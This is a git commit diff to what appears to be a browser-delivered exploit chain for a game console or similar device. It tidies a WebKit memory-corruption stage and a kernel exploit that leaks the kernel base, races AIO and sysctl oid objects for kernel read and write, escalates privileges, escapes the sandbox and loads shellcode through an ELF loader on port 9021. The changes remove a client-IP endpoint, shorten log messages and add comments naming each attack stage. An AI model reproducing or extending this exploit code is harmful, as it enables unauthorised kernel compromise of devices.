This commit is contained in:
Nathan Fargo
2026-09-20 15:15:20 +02:00
parent 8745ac3068
commit c11eb8fb5e
4 changed files with 23 additions and 34 deletions
+1 -12
View File
@@ -10,17 +10,6 @@ class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, directory=ROOT, **kwargs)
def clientip(self):
if self.path.split("?", 1)[0] == "/client-ip":
address = self.client_address[0].encode()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(address)))
self.end_headers()
self.wfile.write(address)
return
super().clientip()
def log_message(self, *args):
pass
@@ -45,4 +34,4 @@ def local_ip():
if __name__ == "__main__":
with http.server.ThreadingHTTPServer(("0.0.0.0", PORT), Handler) as server:
print(f"http://{local_ip()}:{PORT}/")
server.serve_forever()
server.serve_forever()
+2 -9
View File
@@ -268,14 +268,7 @@ async function main(userlandRW) {
if (result.payloads) {
log("kernel exploit complete", "info");
let address = "";
if (location.port === "8000") {
try {
const response = await fetch("./client-ip", { cache: "no-store" });
if (response.ok) address = (await response.text()).trim();
} catch (_) {}
}
log(address ? `elfldr is listening on ${address}:9021` : "elfldr is listening on port 9021", "info");
log("elfldr is listening on port 9021", "info");
} else {
log("kernel chain complete: root and sandbox escape are active", "info");
}
@@ -284,4 +277,4 @@ async function main(userlandRW) {
const fwScript = document.createElement("script");
document.body.appendChild(fwScript);
fwScript.setAttribute("src", `offsets/${window.fw_str}.js?v=` + Date.now());
fwScript.setAttribute("src", `offsets/${window.fw_str}.js?v=` + Date.now());
+18 -11
View File
@@ -51,7 +51,7 @@ class KernelExploit {
}
report(tag, detail) {
const label = String(tag).toLowerCase().replace(/-/g, " ");
const label = String(tag).replace(/-/g, " ");
const text = detail ? label + ": " + detail : label;
this.onScreen(text);
}
@@ -465,7 +465,7 @@ class KernelExploit {
return null;
}
if (accepted !== sprays) {
this.report(tag, `${sprays - accepted} reclaim submits failed; reboot`);
this.report(tag, `${sprays - accepted} reclaim submits failed`);
return null;
}
@@ -489,19 +489,19 @@ class KernelExploit {
await this.cancelRequest(reclaim.group, i);
const next = await this.oidKind(mib);
if (next === null) {
this.report(tag, "oid disappeared during the flip; reboot");
this.report(tag, "oid disappeared during the flip");
return false;
}
kind = next;
if (((kind >>> 24) & 0xff) < ((target >>> 24) & 0xff)) {
this.report(tag, "oid flip overshot into oid_arg1; reboot");
this.report(tag, "oid flip overshot into oid_arg1");
return false;
}
}
if (kind !== target) {
this.report(tag, "not enough waiter heads; reboot");
this.report(tag, "not enough waiter heads");
return false;
}
return true;
@@ -578,7 +578,7 @@ class KernelExploit {
const { a, originalKind, writableKind } = this.off.oid;
const kind = await this.oidKind(mib);
if (kind !== originalKind) {
this.report(tag, `unexpected oid kind ${kind === null ? "missing" : kind.toString(16)}; reboot`);
this.report(tag, `unexpected oid kind ${kind === null ? "missing" : kind.toString(16)}`);
return false;
}
@@ -1023,7 +1023,7 @@ class KernelExploit {
const ok = skipped === 0 && failed === 0 && cleared + alreadyClear === total;
this.defused = true;
if (!ok)
this.report("cleanup", `aio cleanup failed (${skipped} skipped, ${failed} failed); power-cycle`);
this.report("cleanup", `aio cleanup failed (${skipped} skipped, ${failed} failed)`);
return ok;
}
@@ -1112,13 +1112,17 @@ class KernelExploit {
this.report("Kernel", "Starting kernel exploit");
try {
// Find the kernel base and keep the race on one core.
await this.leakKernelBase();
this.report("Kernel", "base 0x" + this.kbase.toString());
await this.pinToSingleCore();
// Use the AIO/oid path to establish the first kernel read and write.
if (!(await this.armKernelReadWrite()))
return this.stop("armings did not complete");
this.report("Kernel", "read and write ready");
// Find our process, then switch to the faster pipe-backed path.
if (!(await this.findCurrentProcess()))
return this.stop("curproc not found");
if (!(await this.locatePipes())) return this.stop("pipes not located");
@@ -1126,12 +1130,14 @@ class KernelExploit {
return this.stop("fast read and write not established");
this.report("Kernel", "fast read and write ready");
// Clear the armed AIO groups before changing privileges.
await this.defuseAioGroups();
if (!(await this.escalate()))
return this.stop("escalation did not clear");
this.report("Kernel", "privileges ready");
// Hand kernel access to kexp for payload loading.
const payloads = await this.launchShellcode();
this.report("Kernel", payloads ? "payloads loaded" : "finished");
return { kbase: this.kbase, done: true, payloads };
@@ -1139,6 +1145,7 @@ class KernelExploit {
this.report("Kernel", String((e && e.message) || e));
throw e;
} finally {
// Restore temporary state even when a stage fails.
await this.rescue();
}
}
@@ -1154,10 +1161,10 @@ class KernelExploit {
await this.restoreThreadAttributes();
if (this.armedGroups.length && !this.defused) {
this.report("Cleanup", "repairing armed aio groups");
this.report("Cleanup", "repairing aio groups");
if (!this.curproc) await this.findCurrentProcess();
if (this.curproc) await this.defuseAioGroups();
else this.report("Cleanup", "current process unavailable; power-cycle");
else this.report("Cleanup", "current process unavailable");
}
await this.restoreOids();
@@ -1165,7 +1172,7 @@ class KernelExploit {
await this.releaseAioWorkers();
await this.closeScratchDescriptors();
} catch (e) {
this.report("Cleanup", "failed; power-cycle");
this.report("Cleanup", "failed");
}
}
}
}
+2 -2
View File
@@ -28,7 +28,7 @@ async function getPrimitive() {
writeLog("Starting WebKit exploit");
const primitive = installWindowP(await establishPrimitive(writeEvent));
if (!primitive || typeof primitive.read8 !== "function")
throw new Error("memory primitive unavailable");
throw new Error("Memory primitive unavailable");
writeLog("ARW ready", "success");
return primitive;
@@ -61,4 +61,4 @@ async function run() {
await main(primitive);
}
run().catch((error) => writeLog(error instanceof Error ? error.message : String(error), "error"));
run().catch((error) => writeLog(error instanceof Error ? error.message : String(error), "error"));